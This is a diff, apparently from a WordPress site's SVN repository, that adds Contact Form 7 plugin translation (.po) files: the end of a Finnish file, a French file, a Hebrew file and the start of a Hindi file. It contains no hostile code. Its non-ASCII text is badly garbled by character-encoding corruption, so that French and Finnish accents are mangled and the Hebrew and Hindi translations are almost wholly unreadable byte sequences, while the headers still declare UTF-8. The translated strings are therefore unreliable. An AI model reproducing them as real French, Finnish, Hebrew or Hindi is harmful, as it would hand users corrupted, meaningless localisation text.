+msgstr "SÃ€hkÃ¶posti"
+
+#: contact-form-7/includes/admin-panel.php:44
+#: contact-form-7/includes/admin-panel.php:65
+msgid "To:"
+msgstr "Vastaanottaja:"
+
+#: contact-form-7/includes/admin-panel.php:48
+#: contact-form-7/includes/admin-panel.php:69
+msgid "From:"
+msgstr "LÃ€hettÃ€jÃ€:"
+
+#: contact-form-7/includes/admin-panel.php:52
+#: contact-form-7/includes/admin-panel.php:73
+msgid "Subject:"
+msgstr "Aihe:"
+
+#: contact-form-7/includes/admin-panel.php:56
+#: contact-form-7/includes/admin-panel.php:77
+msgid "Message body:"
+msgstr "Viesti:"
+
+#: contact-form-7/includes/admin-panel.php:61
+msgid "Mail (2)"
+msgstr "SÃ€hkÃ¶posti (2)"
+
+#: contact-form-7/includes/admin-panel.php:63
+msgid "Use mail (2)"
+msgstr "KÃ€ytÃ€ SÃ€hkÃ¶postia (2)"
+
+#: contact-form-7/includes/admin-panel.php:85
+msgid "Save"
+msgstr "Tallenna"
+
+#: contact-form-7/includes/admin-panel.php:92
+msgid "Delete this contact form"
+msgstr "Poista tÃ€mÃ€ yhteydenottolomake"
+
+#: contact-form-7/includes/admin-panel.php:93
+msgid ""
+"You are about to delete this contact form.\n"
+"  'Cancel' to stop, 'OK' to delete."
+msgstr ""
+"Olet poistamassa yhteydenottolomaketta. \n"
+"Paina 'Peruuta' peruuttaaksesi tai 'OK' poistaaksesi."
+
+#~ msgid "Form content"
+#~ msgstr "Lomakkeen sisÃ€ltÃ¶"
+#~ msgid "Mail template"
+#~ msgstr "SÃ€hkÃ¶postimalli"
+#~ msgid "Sender field:"
+#~ msgstr "LÃ€hettÃ€jÃ€:"
+#~ msgid "Recipient address:"
+#~ msgstr "Vastaanottajan osoite:"
+#~ msgid "Insert"
+#~ msgstr "SyÃ¶tÃ€"
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-fr_FR.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-fr_FR.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-fr_FR.po	(revision 44)
@@ -0,0 +1,585 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: WP Contact Form 7\n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: \n"
+"PO-Revision-Date: 2009-07-22 18:32+0900\n"
+"Last-Translator: \n"
+"Language-Team: jillij <admin@jillij.com>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=utf-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"Plural-Forms: nplurals=2; plural=n != 1;\n"
+"X-Poedit-Language: French\n"
+"X-Poedit-Country: FRANCE\n"
+"X-Poedit-SourceCharset: utf-8\n"
+"X-Poedit-KeywordsList: __;_e;__ngettext:1,2;_n:1,2;__ngettext_noop:1,2;_n_noop:1,2;_c,_nc:4c,1,2;_x:1,2c;_nx:4c,1,2;_nx_noop:4c,1,2\n"
+"X-Poedit-Basepath: ../..\n"
+"X-Textdomain-Support: yes\n"
+"X-Poedit-SearchPath-0: contact-form-7\n"
+
+#@ wpcf7
+#: admin/admin.php:293
+msgid "Contact form"
+msgstr "Formulaire de contact"
+
+#@ wpcf7
+#: admin/admin-panel.php:3
+#: admin/admin.php:102
+msgid "Contact Form 7"
+msgstr "Contact Form 7"
+
+#@ wpcf7
+#: includes/functions.php:33
+msgid "Your Name"
+msgstr "Votre Nom"
+
+#@ wpcf7
+#: includes/functions.php:33
+#: includes/functions.php:35
+msgid "(required)"
+msgstr "(obligatoire)"
+
+#@ wpcf7
+#: includes/functions.php:35
+msgid "Your Email"
+msgstr "Votre Email"
+
+#@ wpcf7
+#: includes/functions.php:37
+msgid "Subject"
+msgstr "Sujet"
+
+#@ wpcf7
+#: includes/functions.php:39
+msgid "Your Message"
+msgstr "Votre Message"
+
+#@ wpcf7
+#: includes/functions.php:41
+#: modules/submit.php:37
+msgid "Send"
+msgstr "Envoyer"
+
+#@ wpcf7
+#: includes/functions.php:6
+msgid "Your message was sent successfully. Thanks."
+msgstr "Votre message a bien Ã©tÃ© envoyÃ©. Merci."
+
+#@ wpcf7
+#: includes/functions.php:8
+#: includes/functions.php:10
+msgid "Failed to send your message. Please try later or contact administrator by other way."
+msgstr "Erreur lors de l'envoi du message. Veuillez rÃ©essayer plus tard, ou contacter l'administrateur d'une autre maniÃšre."
+
+#@ wpcf7
+#: includes/functions.php:12
+msgid "Validation errors occurred. Please confirm the fields and submit it again."
+msgstr "Erreur de validation. Veuillez vÃ©rifier les champs et soumettre Ã  nouveau."
+
+#@ wpcf7
+#: includes/functions.php:16
+msgid "Email address seems invalid."
+msgstr "L'adresse Email semble invalide."
+
+#@ wpcf7
+#: includes/functions.php:18
+msgid "Please fill the required field."
+msgstr "Veuillez remplir les champs requis."
+
+#@ wpcf7
+#: includes/functions.php:20
+msgid "Your entered code is incorrect."
+msgstr "Le code entre est incorrect."
+
+#@ wpcf7
+#: admin/admin-panel.php:18
+msgid "Add new"
+msgstr "Ajouter un nouveau"
+
+#@ wpcf7
+#: admin/admin-panel.php:131
+#: admin/admin-panel.php:184
+msgid "Message body:"
+msgstr "Corps du message:"
+
+#@ wpcf7
+#: admin/admin-panel.php:47
+#: admin/admin-panel.php:279
+msgid "Save"
+msgstr "Sauvegarder"
+
+#@ wpcf7
+#: admin/admin-panel.php:60
+msgid ""
+"You are about to delete this contact form.\n"
+"  'Cancel' to stop, 'OK' to delete."
+msgstr ""
+"Vous etes sur le point de supprimer ce formulaire de contact.\n"
+"  'Annuler' pour arreter, 'OK' pour supprimer."
+
+#@ wpcf7
+#: admin/admin.php:179
+msgid "Akismet"
+msgstr "Akismet"
+
+#@ wpcf7
+#: admin/admin.php:178
+msgid "Default value"
+msgstr "Valeur par defaut"
+
+#@ wpcf7
+#: admin/admin.php:176
+msgid "Choices"
+msgstr "Choix"
+
+#@ wpcf7
+#: admin/admin.php:194
+msgid "* One choice per line."
+msgstr "* Un choix par ligne."
+
+#@ wpcf7
+#: admin/admin.php:184
+msgid "Foreground color"
+msgstr "Couleur de devant"
+
+#@ wpcf7
+#: admin/admin.php:185
+msgid "Background color"
+msgstr "Couleur d'arriÃšre plan"
+
+#@ wpcf7
+#: admin/admin.php:186
+msgid "Image size"
+msgstr "Taille de l'image"
+
+#@ wpcf7
+#: admin/admin.php:187
+msgid "Small"
+msgstr "Petit"
+
+#@ wpcf7
+#: admin/admin.php:188
+msgid "Medium"
+msgstr "Moyen"
+
+#@ wpcf7
+#: admin/admin.php:189
+msgid "Large"
+msgstr "Grand"
+
+#@ wpcf7
+#: admin/admin.php:177
+msgid "Label"
+msgstr "Ãtiquette"
+
+#@ wpcf7
+#: admin/admin-panel.php:40
+msgid "Copy this code and paste it into your post, page or text widget content."
+msgstr "Copiez ce code et collez-le dans vos article, page ou widget-texte."
+
+#@ wpcf7
+#: admin/admin-panel.php:54
+msgid "Copy"
+msgstr "Copier"
+
+#@ wpcf7
+#: admin/admin-panel.php:58
+msgid "Delete"
+msgstr "Supprimer"
+
+#@ wpcf7
+#: admin/admin-panel.php:75
+msgid "Form"
+msgstr "Formulaire"
+
+#@ wpcf7
+#: admin/admin-panel.php:95
+msgid "Mail"
+msgstr "Mail"
+
+#@ wpcf7
+#: admin/admin-panel.php:102
+#: admin/admin-panel.php:155
+msgid "To:"
+msgstr "A:"
+
+#@ wpcf7
+#: admin/admin-panel.php:106
+#: admin/admin-panel.php:159
+msgid "From:"
+msgstr "De:"
+
+#@ wpcf7
+#: admin/admin-panel.php:110
+#: admin/admin-panel.php:163
+msgid "Subject:"
+msgstr "Sujet:"
+
+#@ wpcf7
+#: admin/admin-panel.php:115
+#: admin/admin-panel.php:168
+msgid "Additional headers:"
+msgstr "En-tÃªtes supplÃ©mentaires:"
+
+#@ wpcf7
+#: admin/admin-panel.php:119
+#: admin/admin-panel.php:172
+msgid "File attachments:"
+msgstr "Dossier des piÃšces jointes:"
+
+#@ wpcf7
+#: admin/admin-panel.php:126
+#: admin/admin-panel.php:179
+msgid "Use HTML content type"
+msgstr "Utilisez un type de contenu HTML"
+
+#@ wpcf7
+#: admin/admin-panel.php:142
+msgid "Mail (2)"
+msgstr "Mail (2)"
+
+#@ wpcf7
+#: admin/admin-panel.php:149
+msgid "Use mail (2)"
+msgstr "Utiliser le mail (2)"
+
+#@ wpcf7
+#: admin/admin-panel.php:195
+msgid "Messages"
+msgstr "Messages"
+
+#@ wpcf7
+#: admin/admin-panel.php:203
+msgid "Sender's message was sent successfully"
+msgstr "Votre message a Ã©tÃ© envoyÃ© avec succÃšs"
+
+#@ wpcf7
+#: admin/admin-panel.php:207
+msgid "Sender's message was failed to send"
+msgstr "Votre message n'a pas pu Ãªtre envoyÃ©"
+
+#@ wpcf7
+#: admin/admin-panel.php:211
+msgid "Akismet judged the sending activity as spamming"
+msgstr "Akismet a jugÃ© que cet envoi est un spam"
+
+#@ wpcf7
+#: admin/admin-panel.php:215
+msgid "Validation errors occurred"
+msgstr "Des erreurs de validation sont survenues"
+
+#@ wpcf7
+#: admin/admin-panel.php:219
+msgid "There is a field that sender is needed to fill in"
+msgstr "Il y a un champs obligatoire qui n'a pas Ã©tÃ© rempli"
+
+#@ wpcf7
+#: admin/admin-panel.php:223
+msgid "Email address that sender entered is invalid"
+msgstr "L'adresse e-mail utilisÃ©e n'est pas valide"
+
+#@ wpcf7
+#: admin/admin-panel.php:227
+msgid "There is a field of term that sender is needed to accept"
+msgstr "Il y a un champ dont il est nÃ©cessaire d'accepter les termes"
+
+#@ wpcf7
+#: admin/admin-panel.php:231
+msgid "Sender doesn't enter the correct answer to the quiz"
+msgstr "Vous n'avez pas entrÃ© la bonne rÃ©ponse au quiz"
+
+#@ wpcf7
+#: admin/admin-panel.php:235
+msgid "The code that sender entered does not match the CAPTCHA"
+msgstr "Le code entrÃ© ne correspond pas Ã  la CAPTCHA"
+
+#@ wpcf7
+#: admin/admin-panel.php:239
+msgid "Uploading a file fails for any reason"
+msgstr "Le tÃ©lÃ©chargement de fichier a Ã©chouÃ© pour une raison inconnue"
+
+#@ wpcf7
+#: admin/admin-panel.php:243
+msgid "Uploaded file is not allowed file type"
+msgstr "Le tÃ©lÃ©chargement n'autorise pas ce format de fichier"
+
+#@ wpcf7
+#: admin/admin-panel.php:247
+msgid "Uploaded file is too large"
+msgstr "Le fichier tÃ©lÃ©chargÃ© est trop volumineux"
+
+#@ wpcf7
+#: admin/admin-panel.php:260
+msgid "Additional Settings"
+msgstr "RÃ©glages additionnels"
+
+#@ wpcf7
+#: admin/admin.php:105
+msgid "Edit Contact Forms"
+msgstr "Modifier les Formulaires de contact"
+
+#@ wpcf7
+#: admin/admin.php:105
+msgid "Edit"
+msgstr "Modifier"
+
+#@ wpcf7
+#: admin/admin.php:152
+msgid "optional"
+msgstr "facultatif"
+
+#@ wpcf7
+#: admin/admin.php:153
+msgid "Generate Tag"
+msgstr "GÃ©nÃ©rer des tags"
+
+#@ wpcf7
+#: admin/admin.php:154
+msgid "Text field"
+msgstr "Champ texte"
+
+#@ wpcf7
+#: admin/admin.php:155
+msgid "Email field"
+msgstr "Champ e-mail"
+
+#@ wpcf7
+#: admin/admin.php:156
+msgid "Text area"
+msgstr "Zone de texte"
+
+#@ wpcf7
+#: admin/admin.php:157
+msgid "Drop-down menu"
+msgstr "Menu dÃ©roulant"
+
+#@ wpcf7
+#: admin/admin.php:158
+msgid "Checkboxes"
+msgstr "Cases Ã  cocher"
+
+#@ wpcf7
+#: admin/admin.php:159
+msgid "Radio buttons"
+msgstr "Boutons radio"
+
+#@ wpcf7
+#: admin/admin.php:160
+msgid "Acceptance"
+msgstr "Acceptation"
+
+#@ wpcf7
+#: admin/admin.php:161
+msgid "Make this checkbox checked by default?"
+msgstr "SpÃ©cifier que cette case soit cochÃ©e par dÃ©faut?"
+
+#@ wpcf7
+#: admin/admin.php:162
+msgid "Make this checkbox work inversely?"
+msgstr "SpÃ©cifier que cette case Ã  cocher fonctionne de faÃ§on inversÃ©e ?"
+
+#@ wpcf7
+#: admin/admin.php:163
+msgid "* That means visitor who accepts the term unchecks it."
+msgstr "* Ceci signifie que le visiteur qui accepte les termes Ã  valider doit dÃ©cocher la case."
+
+#@ wpcf7
+#: admin/admin.php:164
+msgid "CAPTCHA"
+msgstr "CAPTCHA"
+
+#@ wpcf7
+#: admin/admin.php:165
+msgid "Quiz"
+msgstr "Quiz"
+
+#@ wpcf7
+#: admin/admin.php:166
+msgid "Quizzes"
+msgstr "Quizs"
+
+#@ wpcf7
+#: admin/admin.php:167
+msgid "* quiz|answer (e.g. 1+1=?|2)"
+msgstr "* quiz|rÃ©ponse (par exemple : 1 +1 =?|2)"
+
+#@ wpcf7
+#: admin/admin.php:168
+msgid "File upload"
+msgstr "Fichier tÃ©lÃ©chargÃ©"
+
+#@ wpcf7
+#: admin/admin.php:169
+msgid "bytes"
+msgstr "octets"
+
+#@ wpcf7
+#: admin/admin.php:170
+msgid "Submit button"
+msgstr "Bouton \\\"Soumettre\\\""
+
+#@ wpcf7
+#: admin/admin.php:171
+msgid "Name"
+msgstr "Nom"
+
+#@ wpcf7
+#: admin/admin.php:172
+msgid "Required field?"
+msgstr "Champ obligatoire?"
+
+#@ wpcf7
+#: admin/admin.php:173
+msgid "Allow multiple selections?"
+msgstr "Autoriser les sÃ©lections multiples?"
+
+#@ wpcf7
+#: admin/admin.php:174
+msgid "Insert a blank item as the first option?"
+msgstr "InsÃ©rer un choix vide comme premiÃšre option?"
+
+#@ wpcf7
+#: admin/admin.php:175
+msgid "Make checkboxes exclusive?"
+msgstr "InsÃ©rer des cases Ã  cocher exclusives?"
+
+#@ wpcf7
+#: admin/admin.php:180
+msgid "This field requires author's name"
+msgstr "Ce champ requiert le nom de l'auteur"
+
+#@ wpcf7
+#: admin/admin.php:181
+msgid "This field requires author's URL"
+msgstr "Ce champ requiert l'URL de l'auteur"
+
+#@ wpcf7
+#: admin/admin.php:182
+msgid "This field requires author's email address"
+msgstr "Ce champ requiert l'adresse e-mail de l'auteur"
+
+#@ wpcf7
+#: admin/admin.php:183
+msgid "Copy this code and paste it into the form left."
+msgstr "Copiez ce code et collez-le dans le formulaire Ã  gauche."
+
+#@ wpcf7
+#: admin/admin.php:190
+msgid "Image settings"
+msgstr "ParamÃštres des images"
+
+#@ wpcf7
+#: admin/admin.php:191
+msgid "Input field settings"
+msgstr "ParamÃštres des Champs de saisie"
+
+#@ wpcf7
+#: admin/admin.php:192
+msgid "For image"
+msgstr "Pour l'image"
+
+#@ wpcf7
+#: admin/admin.php:193
+msgid "For input field"
+msgstr "Pour le champ de saisie"
+
+#@ wpcf7
+#: admin/admin.php:195
+msgid "Show"
+msgstr "Montrer"
+
+#@ wpcf7
+#: admin/admin.php:196
+msgid "Hide"
+msgstr "Masquer"
+
+#@ wpcf7
+#: admin/admin.php:197
+msgid "File size limit"
+msgstr "Taille maximale du fichier"
+
+#@ wpcf7
+#: admin/admin.php:198
+msgid "Acceptable file types"
+msgstr "Formats de fichiers acceptÃ©s"
+
+#@ wpcf7
+#: admin/admin.php:199
+msgid "Note: To use CAPTCHA, you need Really Simple CAPTCHA plugin installed."
+msgstr "Note: Pour utiliser la CAPTCHA, vous devez avoir installÃ© l'extension \\\"Really Simple CAPTCHA\\\"."
+
+#@ wpcf7
+#: admin/admin.php:214
+msgid "Contact form created."
+msgstr "Formulaire de contact crÃ©Ã©."
+
+#@ wpcf7
+#: admin/admin.php:217
+msgid "Contact form saved."
+msgstr "Formulaire de contact sauvegardÃ©."
+
+#@ wpcf7
+#: admin/admin.php:220
+msgid "Contact form deleted."
+msgstr "Formulaire de contact supprimÃ©."
+
+#: admin/admin.php:313
+msgid "Settings"
+msgstr ""
+
+#@ wpcf7
+#: admin/admin.php:334
+msgid "Contact Form 7 needs your support. Please donate today."
+msgstr "Contact Form 7 a besoin de votre soutien. Merci de faire un don dÃšs aujourd'hui !"
+
+#@ wpcf7
+#: admin/admin.php:335
+msgid "Is this plugin useful for you? If you like it, please help the developer."
+msgstr "Est-ce que cette extension vous est utile ? Si vous l'aimez, merci d'aider le dÃ©veloppeur."
+
+#@ wpcf7
+#: admin/admin.php:336
+msgid "Your contribution is needed for making this plugin better."
+msgstr "Votre contribution est nÃ©cessaire Ã  rendre meilleure cette extension."
+
+#@ wpcf7
+#: admin/admin.php:337
+msgid "Developing a plugin and providing user support is really hard work. Please help."
+msgstr "DÃ©velopper une extension et fournir de l'assistance Ã  ses utilisateurs est rÃ©ellement un travail consÃ©quent. Merci d'aider l'auteur Ã  le faire."
+
+#@ wpcf7
+#: includes/classes.php:536
+msgid "Untitled"
+msgstr "Sans titre"
+
+#@ wpcf7
+#: includes/functions.php:14
+msgid "Please accept the terms to proceed."
+msgstr "Merci de bien vouloir accepter les conditions pour continuer."
+
+#@ wpcf7
+#: includes/functions.php:22
+msgid "Your answer is not correct."
+msgstr "Votre rÃ©ponse est incorrecte."
+
+#@ wpcf7
+#: includes/functions.php:24
+msgid "Failed to upload file."
+msgstr "Impossible de tÃ©lÃ©charger le fichier."
+
+#@ wpcf7
+#: includes/functions.php:26
+msgid "This file type is not allowed."
+msgstr "Ce type de fichier n'est pas autorisÃ©."
+
+#@ wpcf7
+#: includes/functions.php:28
+msgid "This file is too large."
+msgstr "Ce fichier est trop volumineux."
+
+#@ wpcf7
+#: modules/captcha.php:62
+msgid "To use CAPTCHA, you need <a href=\"http://wordpress.org/extend/plugins/really-simple-captcha/\">Really Simple CAPTCHA</a> plugin installed."
+msgstr "Pour utiliser la CAPTCHA, vous devez avoir installÃ© l'extension <a href=\\\"http://wordpress.org/extend/plugins/really-simple-captcha/\\\">Really Simple CAPTCHA</a> ."
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-he_IL.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-he_IL.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-he_IL.po	(revision 44)
@@ -0,0 +1,306 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: contactform7\n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2008-08-10 18:56+0900\n"
+"PO-Revision-Date: \n"
+"Last-Translator: Yaron Ofer <info@gadgetguru.co.il>\n"
+"Language-Team: GadgetGuru DevTeam <info@gadgetguru.co.il>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-Language: Hebrew\n"
+"X-Poedit-Country: ISRAEL\n"
+"X-Poedit-SourceCharset: utf-8\n"
+
+#: contact-form-7/wp-contact-form-7.php:309
+msgid "Contact form"
+msgstr "×××€×¡ ×Š××š ×§×©×š"
+
+#: contact-form-7/wp-contact-form-7.php:403
+#: contact-form-7/includes/admin-panel.php:5
+msgid "Contact Form 7"
+msgstr "Contact Form 7"
+
+#: contact-form-7/wp-contact-form-7.php:419
+msgid "optional"
+msgstr "×××€×Š××× ××"
+
+#: contact-form-7/wp-contact-form-7.php:420
+msgid "Generate Tag"
+msgstr "×Š××š ×ª×"
+
+#: contact-form-7/wp-contact-form-7.php:421
+msgid "Text field"
+msgstr "×©×× ××§×¡×"
+
+#: contact-form-7/wp-contact-form-7.php:422
+msgid "Email field"
+msgstr "×©×× ××××š ×××§××š×× ×"
+
+#: contact-form-7/wp-contact-form-7.php:423
+msgid "Text area"
+msgstr "××××š ××§×¡×"
+
+#: contact-form-7/wp-contact-form-7.php:424
+msgid "Drop-down menu"
+msgstr "×ª×€×š×× × ×€×ª×"
+
+#: contact-form-7/wp-contact-form-7.php:425
+msgid "Checkboxes"
+msgstr "×ª×××ª ××××š×"
+
+#: contact-form-7/wp-contact-form-7.php:426
+msgid "Radio buttons"
+msgstr "××€×ª××š× ×š×××"
+
+#: contact-form-7/wp-contact-form-7.php:427
+msgid "Acceptance"
+msgstr "××€×ª××š ×××©×š××š"
+
+#: contact-form-7/wp-contact-form-7.php:428
+msgid "Make this checkbox checked by default?"
+msgstr "××€×× ××ª ×ª×××ª ×××××š× ××¡××× ×ª ×××š××š×ª ××××?"
+
+#: contact-form-7/wp-contact-form-7.php:429
+msgid "Make this checkbox work inversely?"
+msgstr "××©× ××ª ×©×ª×××ª ×××××š× ×ª×¢××× ××€××?"
+
+#: contact-form-7/wp-contact-form-7.php:430
+msgid "* That means visitor who accepts the term unchecks it."
+msgstr "* ×××××š, ××××© ×©××§×× ××ª ××ª× ×× ×Š×š×× ×××¡××š ××ª ××¡××××."
+
+#: contact-form-7/wp-contact-form-7.php:431
+msgid "CAPTCHA"
+msgstr "CAPTCHA ×× ×× ×¡×€××"
+
+#: contact-form-7/wp-contact-form-7.php:432
+msgid "Submit button"
+msgstr "×××Š× ×©××"
+
+#: contact-form-7/wp-contact-form-7.php:433
+msgid "Name"
+msgstr "×©×"
+
+#: contact-form-7/wp-contact-form-7.php:434
+msgid "Required field?"
+msgstr "×©×× ××××?"
+
+#: contact-form-7/wp-contact-form-7.php:435
+msgid "Allow multiple selections?"
+msgstr "××€×©×š ××××š××ª ××š××××ª?"
+
+#: contact-form-7/wp-contact-form-7.php:436
+msgid "Insert a blank item as the first option?"
+msgstr "×××¡×€×ª ×©×× ×š××§ ×××€×©×š××ª ××š××©×× ×?"
+
+#: contact-form-7/wp-contact-form-7.php:437
+msgid "Make checkboxes exclusive?"
+msgstr "××€×× ×ª×××ª ××××š× ××××¢×××ª?"
+
+#: contact-form-7/wp-contact-form-7.php:438
+msgid "Choices"
+msgstr "××××š××ª"
+
+#: contact-form-7/wp-contact-form-7.php:439
+msgid "Label"
+msgstr "×ª××××ª"
+
+#: contact-form-7/wp-contact-form-7.php:440
+msgid "Default value"
+msgstr "×¢×š× ××š××š×ª ××××"
+
+#: contact-form-7/wp-contact-form-7.php:441
+msgid "Akismet"
+msgstr "Akismet - ××××§ ×ª×××××ª ×××"
+
+#: contact-form-7/wp-contact-form-7.php:442
+msgid "This field requires author's name"
+msgstr "×©×× ×× ×××š×© ××ª ××©× ××××ª×"
+
+#: contact-form-7/wp-contact-form-7.php:443
+msgid "This field requires author's URL"
+msgstr "×©×× ×× ×××š×© ××ª ×××ª×××ª ×©× ××××ª×"
+
+#: contact-form-7/wp-contact-form-7.php:444
+msgid "This field requires author's email address"
+msgstr "×©×× ×× ×××š×© ×××××š ××××§××š×× × ×©× ××××ª×"
+
+#: contact-form-7/wp-contact-form-7.php:445
+msgid "Copy and paste this code into the form"
+msgstr "××¢×ª×§ ×××××§ ××ª ××§×× ××ª×× ×××€×¡"
+
+#: contact-form-7/wp-contact-form-7.php:446
+msgid "Foreground color"
+msgstr "×Š××¢ ×š×§×¢ ×§×××"
+
+#: contact-form-7/wp-contact-form-7.php:447
+msgid "Background color"
+msgstr "×Š××¢ ×š×§×¢"
+
+#: contact-form-7/wp-contact-form-7.php:448
+msgid "Image size"
+msgstr "×××× ×ª××× ×"
+
+#: contact-form-7/wp-contact-form-7.php:449
+msgid "Small"
+msgstr "×§×× ×"
+
+#: contact-form-7/wp-contact-form-7.php:450
+msgid "Medium"
+msgstr "××× ×× ××ª"
+
+#: contact-form-7/wp-contact-form-7.php:451
+msgid "Large"
+msgstr "×××××"
+
+#: contact-form-7/wp-contact-form-7.php:452
+msgid "Image settings"
+msgstr "××××š××ª ×ª××× ×"
+
+#: contact-form-7/wp-contact-form-7.php:453
+msgid "Input field settings"
+msgstr "××××š××ª ×©×× ×§××"
+
+#: contact-form-7/wp-contact-form-7.php:454
+msgid "For image"
+msgstr "×¢×××š ×ª××× ×"
+
+#: contact-form-7/wp-contact-form-7.php:455
+msgid "For input field"
+msgstr "×¢×××š ×©×× ×§××"
+
+#: contact-form-7/wp-contact-form-7.php:456
+msgid "* One choice per line."
+msgstr "* ××× ×©××š× ××××š× ×××."
+
+#: contact-form-7/wp-contact-form-7.php:483
+msgid "Contact form created."
+msgstr "× ××Š×š ×××€×¡ ××Š××š×ª ×§×©×š ."
+
+#: contact-form-7/wp-contact-form-7.php:486
+msgid "Contact form saved."
+msgstr "× ×©××š ×××€×¡ ××Š××š×ª ×§×©×š."
+
+#: contact-form-7/wp-contact-form-7.php:489
+msgid "Contact form deleted."
+msgstr "××××€×¡ × ×××§."
+
+#: contact-form-7/wp-contact-form-7.php:496
+msgid "Untitled"
+msgstr "××× ×××ª×š×ª"
+
+#: contact-form-7/wp-contact-form-7.php:522
+msgid "Your Name"
+msgstr "××©× ×©××"
+
+#: contact-form-7/wp-contact-form-7.php:522
+#: contact-form-7/wp-contact-form-7.php:524
+msgid "(required)"
+msgstr "(××××)"
+
+#: contact-form-7/wp-contact-form-7.php:524
+msgid "Your Email"
+msgstr "×××××š ××××§×š×× × ×©××"
+
+#: contact-form-7/wp-contact-form-7.php:526
+msgid "Subject"
+msgstr "× ××©×"
+
+#: contact-form-7/wp-contact-form-7.php:528
+msgid "Your Message"
+msgstr "×××××¢× ×©××"
+
+#: contact-form-7/wp-contact-form-7.php:530
+#: contact-form-7/wp-contact-form-7.php:1046
+msgid "Send"
+msgstr "×©××"
+
+#: contact-form-7/wp-contact-form-7.php:559
+msgid "Your message was sent successfully. Thanks."
+msgstr "×××××¢× × ×©××× ×××Š×××. ×ª×××."
+
+#: contact-form-7/wp-contact-form-7.php:561
+msgid "Failed to send your message. Please try later or contact administrator by other way."
+msgstr "×××š×¢× ×ª×§×× ××©××××. ×× × × ×¡× ××××¢× ×××××š ×××ª×š ×× ×€× × ××× ×× ×××¢×š××ª ×××š× ×××š×ª."
+
+#: contact-form-7/wp-contact-form-7.php:563
+msgid "Validation errors occurred. Please confirm the fields and submit it again."
+msgstr "×××š×¢× ×ª×§××. × × ×××××§ ××ª ××©×××ª ××× ×¡××ª ××©××× ×©××."
+
+#: contact-form-7/wp-contact-form-7.php:565
+msgid "Please accept the terms to proceed."
+msgstr "×× ×××©×š×ª ××ª ××ª× ×××, × × ×××©×š ×¢× ×× ×ª ××××©××."
+
+#: contact-form-7/wp-contact-form-7.php:567
+msgid "Email address seems invalid."
+msgstr "××ª×××ª ×××-×××× ×× ×š×× ×× ×ª×§××."
+
+#: contact-form-7/wp-contact-form-7.php:569
+msgid "Please fill the required field."
+msgstr "× × ×××× ××ª ×× ×©×××ª ×××××."
+
+#: contact-form-7/wp-contact-form-7.php:571
+msgid "Your entered code is incorrect."
+msgstr "××§×× ×©××× ×ª ×©×××."
+
+#: contact-form-7/includes/admin-panel.php:16
+msgid "Add new"
+msgstr "×××¡×£ ×××€×¡ ×××©"
+
+#: contact-form-7/includes/admin-panel.php:32
+msgid "Copy and paste this code into your post content."
+msgstr "××¢×ª×§ ×××××§ ××ª ××§×× ××ª××× ××¢×××/××ª×× ×©××."
+
+#: contact-form-7/includes/admin-panel.php:38
+msgid "Form"
+msgstr "×××€×¡"
+
+#: contact-form-7/includes/admin-panel.php:42
+msgid "Mail"
+msgstr "××××š"
+
+#: contact-form-7/includes/admin-panel.php:44
+#: contact-form-7/includes/admin-panel.php:65
+msgid "To:"
+msgstr "××:"
+
+#: contact-form-7/includes/admin-panel.php:48
+#: contact-form-7/includes/admin-panel.php:69
+msgid "From:"
+msgstr "×××ª:"
+
+#: contact-form-7/includes/admin-panel.php:52
+#: contact-form-7/includes/admin-panel.php:73
+msgid "Subject:"
+msgstr "× ××©×:"
+
+#: contact-form-7/includes/admin-panel.php:56
+#: contact-form-7/includes/admin-panel.php:77
+msgid "Message body:"
+msgstr "×ª××× ×××××¢×:"
+
+#: contact-form-7/includes/admin-panel.php:61
+msgid "Mail (2)"
+msgstr "××××š 2"
+
+#: contact-form-7/includes/admin-panel.php:63
+msgid "Use mail (2)"
+msgstr "×©××××© ×××××š (2)"
+
+#: contact-form-7/includes/admin-panel.php:85
+msgid "Save"
+msgstr "×©×××š"
+
+#: contact-form-7/includes/admin-panel.php:92
+msgid "Delete this contact form"
+msgstr "×××§ ×××€×¡ ××"
+
+#: contact-form-7/includes/admin-panel.php:93
+msgid ""
+"You are about to delete this contact form.\n"
+"  'Cancel' to stop, 'OK' to delete."
+msgstr ""
+"××ª× ×¢××× ×××××§ ××ª ××××€×¡ .\n"
+"×××¥ '×××××' ××× ××¢×Š××š, '×××©××š' ××× ×××××§."
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-hi_IN.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-hi_IN.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-hi_IN.po	(revision 44)
@@ -0,0 +1,321 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: Contact Form 7\n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2008-08-10 18:56+0900\n"
+"PO-Revision-Date: 2008-09-13 13:31-0500\n"
+"Last-Translator: Tarun Joshi <apni.duniya@gmail.com>\n"
+"Language-Team: \n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-SourceCharset: utf-8\n"
+"X-Poedit-KeywordsList: __;_e;__ngettext:1,2;_c\n"
+"X-Poedit-Basepath: ../..\n"
+"Plural-Forms: nplurals=1; plural=0;\n"
+"X-Poedit-SearchPath-0: contact-form-7\n"
+
+#: contact-form-7/wp-contact-form-7.php:309
+msgid "Contact form"
+msgstr "à€žà€à€ªà€°à¥à€ à€ªà¥à€°à€ªà€€à¥à€° "
+
+#: contact-form-7/wp-contact-form-7.php:403
